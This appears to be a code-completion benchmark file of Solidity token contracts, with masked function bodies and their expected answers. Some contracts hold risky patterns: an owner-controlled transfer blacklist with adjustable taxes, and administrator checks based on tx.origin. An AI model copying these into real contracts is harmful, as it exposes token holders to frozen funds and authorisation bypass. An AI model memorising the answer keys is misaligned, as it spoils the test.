_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 50_000_000_001 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 15) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 15) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | contract TOKEN_ETH is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 69_000_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Shibikido";
string private constant _symbol = "Shibikido";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x1DA7898Fb7A3CfA1dD8E544D62ea25C5b29212Df);
_buyTax = 10;
_sellTax = 10;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
<FILL_FUNCTION>
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
require(amount <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 69_000_000_000_000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 50_000_000_001 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 15) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 15) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} |
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
| function tokenFromReflection(uint256 rAmount) private view returns(uint256) | function tokenFromReflection(uint256 rAmount) private view returns(uint256) |
66037 | Ownable | unlock | contract Ownable {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
_owner = msg.sender;
OwnershipTransferred(address(0), msg.sender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender);
_;
}
function renounceOwnership() public onlyOwner {
OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function getUnlockTime() public view returns (uint256) {
return _lockTime;
}
function getTime() public view returns (uint256) {
return block.timestamp;
}
function lock(uint256 time) public onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp + time;
OwnershipTransferred(_owner, address(0));
}
function unlock() public {<FILL_FUNCTION_BODY> }
} | contract Ownable {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
_owner = msg.sender;
OwnershipTransferred(address(0), msg.sender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender);
_;
}
function renounceOwnership() public onlyOwner {
OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function getUnlockTime() public view returns (uint256) {
return _lockTime;
}
function getTime() public view returns (uint256) {
return block.timestamp;
}
function lock(uint256 time) public onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp + time;
OwnershipTransferred(_owner, address(0));
}
<FILL_FUNCTION>
} |
require(_previousOwner == msg.sender);
require(block.timestamp > _lockTime );
OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
| function unlock() public | function unlock() public |
83470 | M8 | transferFrom | contract M8 is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function M8() public {
symbol = "M8";
name = "M8";
decimals = 8;
_totalSupply = 100000000000000000000;
balances[0xd1bdf441811b2225E8AFc6eFe8cE53Df417ebA7C] = _totalSupply;
Transfer(address(0), 0xd1bdf441811b2225E8AFc6eFe8cE53Df417ebA7C, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> }
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | contract M8 is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function M8() public {
symbol = "M8";
name = "M8";
decimals = 8;
_totalSupply = 100000000000000000000;
balances[0xd1bdf441811b2225E8AFc6eFe8cE53Df417ebA7C] = _totalSupply;
Transfer(address(0), 0xd1bdf441811b2225E8AFc6eFe8cE53Df417ebA7C, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
<FILL_FUNCTION>
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} |
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
| function transferFrom(address from, address to, uint tokens) public returns (bool success) | function transferFrom(address from, address to, uint tokens) public returns (bool success) |
45500 | TokenERC20 | TokenERC20 | contract TokenERC20 is SafeMath {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {<FILL_FUNCTION_BODY> }
function _transfer(address _from, address _to, uint256 _value) private {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint256 previousBalances = SafeMath.safeAdd(balanceOf[_from],balanceOf[_to]);
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value);
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value);
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
} | contract TokenERC20 is SafeMath {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
<FILL_FUNCTION>
function _transfer(address _from, address _to, uint256 _value) private {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint256 previousBalances = SafeMath.safeAdd(balanceOf[_from],balanceOf[_to]);
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value);
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value);
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
} |
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
| function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public | function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public |
80495 | AMBASSADORCoin | AMBASSADORCoin | contract AMBASSADORCoin is StandardToken {
string public constant name = 'AMBASSADOR Coin';
string public constant symbol = 'AMR';
uint8 public constant decimals = 0;
function AMBASSADORCoin ()
public
payable
{<FILL_FUNCTION_BODY> }
} | contract AMBASSADORCoin is StandardToken {
string public constant name = 'AMBASSADOR Coin';
string public constant symbol = 'AMR';
uint8 public constant decimals = 0;
<FILL_FUNCTION>
} |
uint premintAmount = 94500000000*10**uint(decimals);
totalSupply_ = totalSupply_.add(premintAmount);
balances[msg.sender] = balances[msg.sender].add(premintAmount);
Transfer(address(0), msg.sender, premintAmount);
| function AMBASSADORCoin ()
public
payable
| function AMBASSADORCoin ()
public
payable
|
31765 | KPC8 | null | contract KPC8 is ERC20, ERC20Mintable, ERC20Burnable, Ownable {
string public name = "KPC8";
string public symbol = "KPC8";
uint8 public decimals = 18;
uint public INITIAL_SUPPLY = 3000000000 * 10 ** uint(decimals);
constructor() public {<FILL_FUNCTION_BODY> }
} | contract KPC8 is ERC20, ERC20Mintable, ERC20Burnable, Ownable {
string public name = "KPC8";
string public symbol = "KPC8";
uint8 public decimals = 18;
uint public INITIAL_SUPPLY = 3000000000 * 10 ** uint(decimals);
<FILL_FUNCTION>
} |
_mint(msg.sender, INITIAL_SUPPLY);
| constructor() public | constructor() public |
41624 | KaiKenInu | null | contract KaiKenInu is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {<FILL_FUNCTION_BODY> }
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | contract KaiKenInu is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
<FILL_FUNCTION>
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} |
name = "Kai Ken Inu";
symbol = "KAI";
decimals = 9;
_totalSupply = 100000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
| constructor() public | /**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public |
88117 | PreSaleUNIT | balanceOf | contract PreSaleUNIT is ERC20Contract {
ERC20[3] internal tokens;
ExternalCurrencyPrice externalCurrencyProcessor;
uint88 pool = 24000000000000000000000000; //24 mln tokens
uint32 internal endDate = 1519326000; //22 February 2018 19:00 UTC
uint8 internal discount = 40; //40%
address internal owner;
event AddToken(address NewToken, uint8 index);
event BuyTokensDirect(address buyer, uint72 eth_amount, uint88 paid_amount, uint88 bonus_amount);
event BuyTokensExternal(address buyer, string currency, uint72 amount, uint88 paid_amount, uint88 bonus_amount);
event ChangeDate(uint32 new_date);
event ChangeDiscount(uint8 new_discount);
event ChangePool(uint88 new_pool);
modifier onlyAdministrator() {
require(tx.origin == owner);
_;
}
modifier notAdministrator() {
require(tx.origin != owner);
_;
}
modifier poolIsNotEmpty() {
require(pool > 0);
_;
}
modifier didntRanOutOfTime() {
require(uint32(now) <= endDate);
_;
}
function PreSaleUNIT(ERC20 _token)
public
{
tokens[0] = _token;
owner = tx.origin;
}
function getOwner()
public
constant
returns (address)
{
return owner;
}
function getTokens()
public
constant
returns(ERC20[3])
{
return tokens;
}
function getPool()
public
constant
returns(uint88)
{
return pool;
}
function getBaseToken()
public
constant
returns(UnilotToken _token)
{
_token = UnilotToken(tokens[0]);
}
function getExternalCurrencyProcessor()
public
onlyAdministrator
returns(ExternalCurrencyPrice)
{
return externalCurrencyProcessor;
}
//Admin fns
function addToken(ERC20 _token)
public
onlyAdministrator
{
require(_token != address(0));
for(uint8 i = 0; i < tokens.length; i++) {
if (tokens[i] == _token) {
break;
} else if (tokens[i] == address(0)) {
tokens[i] = _token;
AddToken(_token, i);
break;
}
}
}
function changeEndDate(uint32 _endDate)
public
onlyAdministrator
{
endDate = _endDate;
ChangeDate(endDate);
}
function changeDiscount(uint8 _discount)
public
onlyAdministrator
{
discount = _discount;
ChangeDiscount(discount);
}
function changePool(uint88 _pool)
public
onlyAdministrator
{
pool = _pool;
ChangePool(pool);
}
function setExternalCurrencyProcessor(ExternalCurrencyPrice processor)
public
onlyAdministrator
{
externalCurrencyProcessor = processor;
}
function paymentWithCurrency(address buyer, string currency, uint64 value, string transactionId)
public
onlyAdministrator
poolIsNotEmpty
didntRanOutOfTime
{
require(buyer != owner);
ExternalCurrencyPrice processor = getExternalCurrencyProcessor();
uint88 paid_tokens = processor.calculateAmount(currency, value);
uint88 bonus_tokens = uint88((paid_tokens * discount) / 100);
uint88 refund_amount = 0;
if((paid_tokens + bonus_tokens) > pool) {
paid_tokens = uint88( pool / ( ( 100 + discount ) / 100 ) );
bonus_tokens = uint88( pool - paid_tokens );
refund_amount = ( value - processor.calculatePrice(currency, paid_tokens) );
}
balances[buyer] += uint96(paid_tokens + bonus_tokens);
BuyTokensExternal(buyer, currency, value, paid_tokens, bonus_tokens);
uint processorTransactionId = processor.addTransaction(currency, value, transactionId);
if ( refund_amount > 0 ) {
processor.addRefundTransaction(processorTransactionId, refund_amount);
}
}
//END Admin fns
//ERC20
function totalSupply()
public
constant
returns (uint)
{
return uint(tokens[0].totalSupply());
}
function balanceOf(address _owner)
public
constant
returns (uint balance)
{<FILL_FUNCTION_BODY> }
function transfer(address _to, uint _amount)
public
returns (bool success)
{
success = false;
}
function transferFrom(
address _from,
address _to,
uint256 _amount
)
public
returns (bool success)
{
success = false;
}
function approve(address _spender, uint _amount)
public
returns (bool success)
{
success = false;
}
function allowance(address _owner, address _spender)
public
constant
returns (uint remaining)
{
remaining = 0;
}
//END ERC20
function()
public
payable
notAdministrator
poolIsNotEmpty
didntRanOutOfTime
{
UnilotToken baseToken = getBaseToken();
address storageWallet = baseToken.STORAGE_WALLET();
uint48 price = uint48(baseToken.price());
uint72 eth_amount = uint72(msg.value);
uint64 accuracy = uint64( baseToken.accuracy() );
uint88 paid_tokens = uint88( ( uint(eth_amount) * accuracy / price ) );
uint88 bonus_tokens = uint88((paid_tokens * discount) / 100);
if((paid_tokens + bonus_tokens) > pool) {
paid_tokens = uint88( pool / ( ( 100 + discount ) / 100 ) );
bonus_tokens = uint88( pool - paid_tokens );
eth_amount = uint72( (paid_tokens / accuracy) * price );
msg.sender.transfer( msg.value - eth_amount );
}
BuyTokensDirect(msg.sender, eth_amount, paid_tokens, bonus_tokens);
balances[msg.sender] += uint96(paid_tokens + bonus_tokens);
storageWallet.transfer(this.balance);
}
} | contract PreSaleUNIT is ERC20Contract {
ERC20[3] internal tokens;
ExternalCurrencyPrice externalCurrencyProcessor;
uint88 pool = 24000000000000000000000000; //24 mln tokens
uint32 internal endDate = 1519326000; //22 February 2018 19:00 UTC
uint8 internal discount = 40; //40%
address internal owner;
event AddToken(address NewToken, uint8 index);
event BuyTokensDirect(address buyer, uint72 eth_amount, uint88 paid_amount, uint88 bonus_amount);
event BuyTokensExternal(address buyer, string currency, uint72 amount, uint88 paid_amount, uint88 bonus_amount);
event ChangeDate(uint32 new_date);
event ChangeDiscount(uint8 new_discount);
event ChangePool(uint88 new_pool);
modifier onlyAdministrator() {
require(tx.origin == owner);
_;
}
modifier notAdministrator() {
require(tx.origin != owner);
_;
}
modifier poolIsNotEmpty() {
require(pool > 0);
_;
}
modifier didntRanOutOfTime() {
require(uint32(now) <= endDate);
_;
}
function PreSaleUNIT(ERC20 _token)
public
{
tokens[0] = _token;
owner = tx.origin;
}
function getOwner()
public
constant
returns (address)
{
return owner;
}
function getTokens()
public
constant
returns(ERC20[3])
{
return tokens;
}
function getPool()
public
constant
returns(uint88)
{
return pool;
}
function getBaseToken()
public
constant
returns(UnilotToken _token)
{
_token = UnilotToken(tokens[0]);
}
function getExternalCurrencyProcessor()
public
onlyAdministrator
returns(ExternalCurrencyPrice)
{
return externalCurrencyProcessor;
}
//Admin fns
function addToken(ERC20 _token)
public
onlyAdministrator
{
require(_token != address(0));
for(uint8 i = 0; i < tokens.length; i++) {
if (tokens[i] == _token) {
break;
} else if (tokens[i] == address(0)) {
tokens[i] = _token;
AddToken(_token, i);
break;
}
}
}
function changeEndDate(uint32 _endDate)
public
onlyAdministrator
{
endDate = _endDate;
ChangeDate(endDate);
}
function changeDiscount(uint8 _discount)
public
onlyAdministrator
{
discount = _discount;
ChangeDiscount(discount);
}
function changePool(uint88 _pool)
public
onlyAdministrator
{
pool = _pool;
ChangePool(pool);
}
function setExternalCurrencyProcessor(ExternalCurrencyPrice processor)
public
onlyAdministrator
{
externalCurrencyProcessor = processor;
}
function paymentWithCurrency(address buyer, string currency, uint64 value, string transactionId)
public
onlyAdministrator
poolIsNotEmpty
didntRanOutOfTime
{
require(buyer != owner);
ExternalCurrencyPrice processor = getExternalCurrencyProcessor();
uint88 paid_tokens = processor.calculateAmount(currency, value);
uint88 bonus_tokens = uint88((paid_tokens * discount) / 100);
uint88 refund_amount = 0;
if((paid_tokens + bonus_tokens) > pool) {
paid_tokens = uint88( pool / ( ( 100 + discount ) / 100 ) );
bonus_tokens = uint88( pool - paid_tokens );
refund_amount = ( value - processor.calculatePrice(currency, paid_tokens) );
}
balances[buyer] += uint96(paid_tokens + bonus_tokens);
BuyTokensExternal(buyer, currency, value, paid_tokens, bonus_tokens);
uint processorTransactionId = processor.addTransaction(currency, value, transactionId);
if ( refund_amount > 0 ) {
processor.addRefundTransaction(processorTransactionId, refund_amount);
}
}
//END Admin fns
//ERC20
function totalSupply()
public
constant
returns (uint)
{
return uint(tokens[0].totalSupply());
}
<FILL_FUNCTION>
function transfer(address _to, uint _amount)
public
returns (bool success)
{
success = false;
}
function transferFrom(
address _from,
address _to,
uint256 _amount
)
public
returns (bool success)
{
success = false;
}
function approve(address _spender, uint _amount)
public
returns (bool success)
{
success = false;
}
